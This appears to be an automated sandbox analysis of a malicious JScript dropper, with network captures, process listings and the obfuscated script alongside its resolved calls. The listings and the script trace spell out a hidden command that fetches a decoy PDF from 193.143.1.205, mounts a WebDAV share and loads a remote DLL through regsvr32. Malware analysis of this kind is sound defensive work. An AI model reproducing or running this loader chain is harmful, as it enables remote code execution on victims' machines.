Jan 11, 2025 06:18:52.327239990 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 06:18:52.327251911 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 06:18:52.327265024 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 06:18:52.327276945 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:18:52.327290058 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:18:52.327302933 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:18:52.327330112 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 06:18:52.327364922 CET	376	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 11, 2025 06:18:52.381520033 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	6196	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:18:54.135977983 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:18:54.963078022 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:18:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:18:47
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js"
Imagebase:	0x7ff7f9990000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:18:48
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll
Imagebase:	0x7ff647570000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:18:48
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:18:48
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:18:52
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:18:52
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff647570000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:18:53
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d9260000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:18:53
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:18:53
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:18:53
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1616,i,10186210972934527283,15093102510945980784,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fvfaq() {	fvfaq() ➔ undefined
1	kmzqjkw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lrosgp = this[cfoizqetn + pjgijyf + raulp + oeifdeyo + rcgebs + tlmpgws + xjujzd + yjfefrgt] ( this[uzdwgswxf + ublyhoalp + bqmeok + raulp + zlsplogtc + cfoizqetn + yjfefrgt][srfkomzo + raulp + rcgebs + pjgijyf + yjfefrgt + rcgebs + umnytusv + eptjpgd + rufca + rcgebs + bqmeok + yjfefrgt] ( uzdwgswxf + ublyhoalp + bqmeok + raulp + zlsplogtc + cfoizqetn + yjfefrgt + rbizaqua + ublyhoalp + irfukei + rcgebs + vdwlbw + vdwlbw ) [ctbjwz + rcgebs + anltgfhj + ctbjwz + rcgebs + pjgijyf + xgdkg] ( nhxclc + bobjlfbh + vbxgbtw + jhfztimzs + oozit + srfkomzo + cxgmhu + ctbjwz + ctbjwz + vbxgbtw + qwrwerkuq + rqqsgu + oozit + cxgmhu + ublyhoalp + vbxgbtw + ctbjwz + wtkfqey + srfkomzo + pebtoilsc + xjujzd + yjfefrgt + raulp + pebtoilsc + vdwlbw + hchadsmo + adwchvqu + pjgijyf + xjujzd + rcgebs + vdwlbw + wtkfqey + tlmpgws + xjujzd + yjfefrgt + rcgebs + raulp + xjujzd + pjgijyf + yjfefrgt + zlsplogtc + pebtoilsc + xjujzd + pjgijyf + vdwlbw + wtkfqey + fgvxmmqz + pebtoilsc + bqmeok + pjgijyf + vdwlbw + rcgebs ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xyjujc = 0 ; xyjujc < kmzqjkw[vdwlbw + rcgebs + xjujzd + anltgfhj + yjfefrgt + irfukei] ; ++ xyjujc )
4	{
5	if ( lrosgp == kmzqjkw[xyjujc] )
6	{
7	lrosgp = true;
8	break ;
9	}
10	}
11	if ( lrosgp !== true )
12	this[uzdwgswxf + ublyhoalp + bqmeok + raulp + zlsplogtc + cfoizqetn + yjfefrgt][pgwdup + ibtpv + zlsplogtc + yjfefrgt] ( );
13	this[uzdwgswxf + ublyhoalp + bqmeok + raulp + zlsplogtc + cfoizqetn + yjfefrgt][srfkomzo + raulp + rcgebs + pjgijyf + yjfefrgt + rcgebs + umnytusv + eptjpgd + rufca + rcgebs + bqmeok + yjfefrgt] ( uzdwgswxf + ublyhoalp + bqmeok + raulp + zlsplogtc + cfoizqetn + yjfefrgt + rbizaqua + ublyhoalp + irfukei + rcgebs + vdwlbw + vdwlbw ) [raulp + ibtpv + xjujzd] ( bqmeok + sudzd + xgdkg + hchadsmo + brwuhmqe + bqmeok + hchadsmo + cfoizqetn + pebtoilsc + fvhhk + rcgebs + raulp + oeifdeyo + irfukei + rcgebs + vdwlbw + vdwlbw + rbizaqua + rcgebs + hjnwnvsn + rcgebs + hchadsmo + ldlvosz + srfkomzo + pebtoilsc + sudzd + sudzd + pjgijyf + xjujzd + xgdkg + hchadsmo + vfpxrzmc + tlmpgws + xjujzd + cjntbwmil + pebtoilsc + majrat + rcgebs + ldlvosz + uzdwgswxf + rcgebs + eptjpgd + ctbjwz + rcgebs + mskvow + ibtpv + rcgebs + oeifdeyo + yjfefrgt + hchadsmo + ldlvosz + umnytusv + ibtpv + yjfefrgt + opnpqk + zlsplogtc + vdwlbw + rcgebs + hchadsmo + setqxrv + yjfefrgt + rcgebs + sudzd + cfoizqetn + setqxrv + wtkfqey + zlsplogtc + xjujzd + cjntbwmil + pebtoilsc + zlsplogtc + bqmeok + rcgebs + rbizaqua + cfoizqetn + xgdkg + alklbyn + hchadsmo + irfukei + yjfefrgt + yjfefrgt + cfoizqetn + rjurjflq + brwuhmqe + brwuhmqe + mlirewvyg + eusemqgqs + qzqfzgdt + rbizaqua + mlirewvyg + vqaoumte + qzqfzgdt + rbizaqua + mlirewvyg + rbizaqua + tvmbec + guxnvaqzf + cpcsbimqa + brwuhmqe + zlsplogtc + xjujzd + cjntbwmil + pebtoilsc + zlsplogtc + bqmeok + rcgebs + rbizaqua + cfoizqetn + irfukei + cfoizqetn + vfpxrzmc + hqekalf + hqekalf + oeifdeyo + yjfefrgt + pjgijyf + raulp + yjfefrgt + hchadsmo + setqxrv + yjfefrgt + rcgebs + sudzd + cfoizqetn + setqxrv + wtkfqey + zlsplogtc + xjujzd + cjntbwmil + pebtoilsc + zlsplogtc + bqmeok + rcgebs + rbizaqua + cfoizqetn + xgdkg + alklbyn + hqekalf + hqekalf + bqmeok + sudzd + xgdkg + hchadsmo + brwuhmqe + bqmeok + hchadsmo + xjujzd + rcgebs + yjfefrgt + hchadsmo + ibtpv + oeifdeyo + rcgebs + hchadsmo + wtkfqey + wtkfqey + mlirewvyg + eusemqgqs + qzqfzgdt + rbizaqua + mlirewvyg + vqaoumte + qzqfzgdt + rbizaqua + mlirewvyg + rbizaqua + tvmbec + guxnvaqzf + cpcsbimqa + chlct + rzdtf + rzdtf + rzdtf + rzdtf + wtkfqey + xgdkg + pjgijyf + cjntbwmil + fvhhk + fvhhk + fvhhk + raulp + pebtoilsc + pebtoilsc + yjfefrgt + wtkfqey + hqekalf + hqekalf + bqmeok + sudzd + xgdkg + hchadsmo + brwuhmqe + bqmeok + hchadsmo + raulp + rcgebs + anltgfhj + oeifdeyo + cjntbwmil + raulp + qzqfzgdt + tvmbec + hchadsmo + brwuhmqe + oeifdeyo + hchadsmo + wtkfqey + wtkfqey + mlirewvyg + eusemqgqs + qzqfzgdt + rbizaqua + mlirewvyg + vqaoumte + qzqfzgdt + rbizaqua + mlirewvyg + rbizaqua + tvmbec + guxnvaqzf + cpcsbimqa + chlct + rzdtf + rzdtf + rzdtf + rzdtf + wtkfqey + xgdkg + pjgijyf + cjntbwmil + fvhhk + fvhhk + fvhhk + raulp + pebtoilsc + pebtoilsc + yjfefrgt + wtkfqey + tvmbec + qzqfzgdt + mlirewvyg + iodfxamu + qzqfzgdt + tvmbec + qdhjlu + qdhjlu + rzdtf + iodfxamu + iodfxamu + qzqfzgdt + qdhjlu + qdhjlu + rbizaqua + xgdkg + vdwlbw + vdwlbw, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll",0,false) ➔ 0
14	}
15	rjurjflq = "x";
16	rjurjflq = "j";
17	rjurjflq = "X";
18	rjurjflq = "d";
19	rjurjflq = "i";
20	rjurjflq = "L";
21	rjurjflq = "k";
22	rjurjflq = "N";
23	rjurjflq = "m";
24	rjurjflq = "l";
25	rjurjflq = ":";
26	pjgijyf = "l";
27	pjgijyf = "W";
28	pjgijyf = "j";
29	pjgijyf = "j";
30	pjgijyf = "t";
31	pjgijyf = "Z";
32	pjgijyf = "a";
33	pjgijyf = "H";
34	pjgijyf = "d";
35	pjgijyf = "V";
36	pjgijyf = "q";
37	pjgijyf = "I";
38	pjgijyf = "H";
39	pjgijyf = "Q";
40	pjgijyf = "y";
41	pjgijyf = "h";
42	pjgijyf = "n";
43	pjgijyf = "p";
44	pjgijyf = "P";
45	pjgijyf = "v";
46	pjgijyf = "M";
47	pjgijyf = "Z";
48	pjgijyf = "D";
49	pjgijyf = "s";
50	pjgijyf = "X";
51	pjgijyf = "a";
52	bqmeok = "j";
53	bqmeok = "C";
54	bqmeok = "M";
55	bqmeok = "q";
56	bqmeok = "x";
57	bqmeok = "I";
58	bqmeok = "r";
59	bqmeok = "j";
60	bqmeok = "q";
61	bqmeok = "K";
62	bqmeok = "b";
63	bqmeok = "D";
64	bqmeok = "s";
65	bqmeok = "Z";
66	bqmeok = "d";
67	bqmeok = "F";
68	bqmeok = "c";
69	bqmeok = "V";
70	bqmeok = "H";
71	bqmeok = "T";
72	bqmeok = "O";
73	bqmeok = "h";
74	bqmeok = "U";
75	bqmeok = "X";
76	bqmeok = "R";
77	bqmeok = "F";
78	bqmeok = "v";
79	bqmeok = "n";
80	bqmeok = "G";
81	bqmeok = "o";
82	bqmeok = "D";
83	bqmeok = "K";
84	bqmeok = "C";
85	bqmeok = "L";
86	bqmeok = "Y";
87	bqmeok = "q";
88	bqmeok = "p";
89	bqmeok = "d";
90	bqmeok = "H";
91	bqmeok = "r";
92	bqmeok = "c";
93	rcgebs = "w";
94	rcgebs = "u";
95	rcgebs = "f";
96	rcgebs = "Q";
97	rcgebs = "X";
98	rcgebs = "q";
99	rcgebs = "G";
100	rcgebs = "o";
101	rcgebs = "l";
102	rcgebs = "r";
103	rcgebs = "F";
104	rcgebs = "P";
105	rcgebs = "t";
106	rcgebs = "M";
107	rcgebs = "h";
108	rcgebs = "Q";
109	rcgebs = "P";
110	rcgebs = "D";
111	rcgebs = "N";
112	rcgebs = "y";
113	rcgebs = "R";
114	rcgebs = "h";
115	rcgebs = "I";
116	rcgebs = "w";
117	rcgebs = "u";
118	rcgebs = "p";
119	rcgebs = "A";
120	rcgebs = "s";
121	rcgebs = "k";
122	rcgebs = "h";
123	rcgebs = "q";
124	rcgebs = "Q";
125	rcgebs = "R";
126	rcgebs = "m";
127	rcgebs = "U";
128	rcgebs = "u";
129	rcgebs = "A";
130	rcgebs = "N";
131	rcgebs = "p";
132	rcgebs = "d";
133	rcgebs = "e";
134	yjfefrgt = "r";
135	yjfefrgt = "M";
136	yjfefrgt = "c";
137	yjfefrgt = "w";
138	yjfefrgt = "L";
139	yjfefrgt = "j";
140	yjfefrgt = "a";
141	yjfefrgt = "O";
142	yjfefrgt = "o";
143	yjfefrgt = "o";
144	yjfefrgt = "r";
145	yjfefrgt = "W";
146	yjfefrgt = "n";
147	yjfefrgt = "H";
148	yjfefrgt = "T";
149	yjfefrgt = "d";
150	yjfefrgt = "t";
151	setqxrv = "j";
152	setqxrv = "A";
153	setqxrv = "Q";
154	setqxrv = "W";
155	setqxrv = "G";
156	setqxrv = "o";
157	setqxrv = "o";
158	setqxrv = "k";
159	setqxrv = "N";
160	setqxrv = "d";
161	setqxrv = "d";
162	setqxrv = "j";
163	setqxrv = "h";
164	setqxrv = "M";
165	setqxrv = "X";
166	setqxrv = "V";
167	setqxrv = "r";
168	setqxrv = "F";
169	setqxrv = "d";
170	setqxrv = "g";
171	setqxrv = "J";
172	setqxrv = "f";
173	setqxrv = "E";
174	setqxrv = "f";
175	setqxrv = "w";
176	setqxrv = "%";
177	xjujzd = "q";
178	xjujzd = "o";
179	xjujzd = "E";
180	xjujzd = "M";
181	xjujzd = "v";
182	xjujzd = "H";
183	xjujzd = "r";
184	xjujzd = "s";
185	xjujzd = "P";
186	xjujzd = "e";
187	xjujzd = "R";
188	xjujzd = "m";
189	xjujzd = "j";
190	xjujzd = "I";
191	xjujzd = "Q";
192	xjujzd = "Z";
193	xjujzd = "e";
194	xjujzd = "Q";
195	xjujzd = "t";
196	xjujzd = "N";
197	xjujzd = "b";
198	xjujzd = "t";
199	xjujzd = "N";
200	xjujzd = "F";
201	xjujzd = "H";
202	xjujzd = "N";
203	xjujzd = "M";
204	xjujzd = "j";
205	xjujzd = "n";
206	xjujzd = "l";
207	xjujzd = "E";
208	xjujzd = "T";
209	xjujzd = "o";
210	xjujzd = "X";
211	xjujzd = "R";
212	xjujzd = "g";
213	xjujzd = "c";
214	xjujzd = "N";
215	xjujzd = "A";
216	xjujzd = "Y";
217	xjujzd = "d";
218	xjujzd = "n";
219	rufca = "E";
220	rufca = "W";
221	rufca = "m";
222	rufca = "W";
223	rufca = "G";
224	rufca = "P";
225	rufca = "h";
226	rufca = "v";
227	rufca = "x";
228	rufca = "q";
229	rufca = "U";
230	rufca = "t";
231	rufca = "A";
232	rufca = "E";
233	rufca = "Y";
234	rufca = "E";
235	rufca = "s";
236	rufca = "w";
237	rufca = "L";
238	rufca = "u";
239	rufca = "X";
240	rufca = "h";
241	rufca = "I";
242	rufca = "C";
243	rufca = "v";
244	rufca = "v";
245	rufca = "N";
246	rufca = "G";
247	rufca = "b";
248	rufca = "n";
249	rufca = "X";
250	rufca = "C";
251	rufca = "F";
252	rufca = "v";
253	rufca = "E";
254	rufca = "T";
255	rufca = "Y";
256	rufca = "H";
257	rufca = "l";
258	rufca = "p";
259	rufca = "I";
260	rufca = "i";
261	rufca = "U";
262	rufca = "j";
263	rqqsgu = "W";
264	rqqsgu = "T";
265	fgvxmmqz = "d";
266	fgvxmmqz = "d";
267	fgvxmmqz = "r";
268	fgvxmmqz = "N";
269	fgvxmmqz = "T";
270	fgvxmmqz = "P";
271	fgvxmmqz = "f";
272	fgvxmmqz = "j";
273	fgvxmmqz = "J";
274	fgvxmmqz = "o";
275	fgvxmmqz = "Y";
276	fgvxmmqz = "t";
277	fgvxmmqz = "q";
278	fgvxmmqz = "l";
279	fgvxmmqz = "X";
280	fgvxmmqz = "O";
281	fgvxmmqz = "e";
282	fgvxmmqz = "k";
283	fgvxmmqz = "U";
284	fgvxmmqz = "w";
285	fgvxmmqz = "W";
286	fgvxmmqz = "C";
287	fgvxmmqz = "l";
288	fgvxmmqz = "h";
289	fgvxmmqz = "L";
290	fgvxmmqz = "O";
291	fgvxmmqz = "I";
292	fgvxmmqz = "m";
293	fgvxmmqz = "F";
294	fgvxmmqz = "t";
295	fgvxmmqz = "G";
296	fgvxmmqz = "Z";
297	fgvxmmqz = "N";
298	fgvxmmqz = "L";
299	fgvxmmqz = "z";
300	fgvxmmqz = "L";
301	bobjlfbh = "m";
302	bobjlfbh = "d";
303	bobjlfbh = "b";
304	bobjlfbh = "Y";
305	bobjlfbh = "l";
306	bobjlfbh = "o";
307	bobjlfbh = "J";
308	bobjlfbh = "T";
309	bobjlfbh = "Z";
310	bobjlfbh = "r";
311	bobjlfbh = "b";
312	bobjlfbh = "C";
313	bobjlfbh = "C";
314	bobjlfbh = "l";
315	bobjlfbh = "x";
316	bobjlfbh = "V";
317	bobjlfbh = "Z";
318	bobjlfbh = "p";
319	bobjlfbh = "E";
320	bobjlfbh = "I";
321	bobjlfbh = "O";
322	bobjlfbh = "Q";
323	bobjlfbh = "F";
324	bobjlfbh = "B";
325	bobjlfbh = "u";
326	bobjlfbh = "K";
327	bobjlfbh = "a";
328	bobjlfbh = "I";
329	bobjlfbh = "y";
330	bobjlfbh = "B";
331	bobjlfbh = "a";
332	bobjlfbh = "N";
333	bobjlfbh = "k";
334	bobjlfbh = "Z";
335	bobjlfbh = "M";
336	bobjlfbh = "q";
337	bobjlfbh = "m";
338	bobjlfbh = "K";
339	mlirewvyg = "n";
340	mlirewvyg = "e";
341	mlirewvyg = "P";
342	mlirewvyg = "V";
343	mlirewvyg = "F";
344	mlirewvyg = "B";
345	mlirewvyg = "w";
346	mlirewvyg = "h";
347	mlirewvyg = "N";
348	mlirewvyg = "Z";
349	mlirewvyg = "O";
350	mlirewvyg = "x";
351	mlirewvyg = "Y";
352	mlirewvyg = "S";
353	mlirewvyg = "r";
354	mlirewvyg = "L";
355	mlirewvyg = "w";
356	mlirewvyg = "i";
357	mlirewvyg = "b";
358	mlirewvyg = "h";
359	mlirewvyg = "L";
360	mlirewvyg = "a";
361	mlirewvyg = "u";
362	mlirewvyg = "R";
363	mlirewvyg = "j";
364	mlirewvyg = "D";
365	mlirewvyg = "o";
366	mlirewvyg = "C";
367	mlirewvyg = "1";
368	eusemqgqs = "e";
369	eusemqgqs = "N";
370	eusemqgqs = "i";
371	eusemqgqs = "f";
372	eusemqgqs = "h";
373	eusemqgqs = "V";
374	eusemqgqs = "y";
375	eusemqgqs = "f";
376	eusemqgqs = "t";
377	eusemqgqs = "C";
378	eusemqgqs = "m";
379	eusemqgqs = "a";
380	eusemqgqs = "H";
381	eusemqgqs = "A";
382	eusemqgqs = "I";
383	eusemqgqs = "X";
384	eusemqgqs = "9";
385	nhxclc = "O";
386	nhxclc = "Q";
387	nhxclc = "E";
388	nhxclc = "p";
389	nhxclc = "M";
390	nhxclc = "Q";
391	nhxclc = "I";
392	nhxclc = "F";
393	nhxclc = "r";
394	nhxclc = "D";
395	nhxclc = "n";
396	nhxclc = "q";
397	nhxclc = "z";
398	nhxclc = "k";
399	nhxclc = "r";
400	nhxclc = "F";
401	nhxclc = "H";
402	tlmpgws = "m";
403	tlmpgws = "y";
404	tlmpgws = "a";
405	tlmpgws = "E";
406	tlmpgws = "A";
407	tlmpgws = "I";
408	tlmpgws = "j";
409	tlmpgws = "E";
410	tlmpgws = "d";
411	tlmpgws = "I";
412	majrat = "G";
413	majrat = "D";
414	majrat = "i";
415	majrat = "g";
416	majrat = "v";
417	majrat = "t";
418	majrat = "U";
419	majrat = "I";
420	majrat = "U";
421	majrat = "A";
422	majrat = "r";
423	majrat = "v";
424	majrat = "y";
425	majrat = "g";
426	majrat = "a";
427	majrat = "Z";
428	majrat = "o";
429	majrat = "q";
430	majrat = "D";
431	majrat = "M";
432	majrat = "k";
433	majrat = "D";
434	majrat = "X";
435	majrat = "H";
436	majrat = "a";
437	majrat = "R";
438	majrat = "k";
439	mskvow = "b";
440	mskvow = "V";
441	mskvow = "h";
442	mskvow = "r";
443	mskvow = "q";
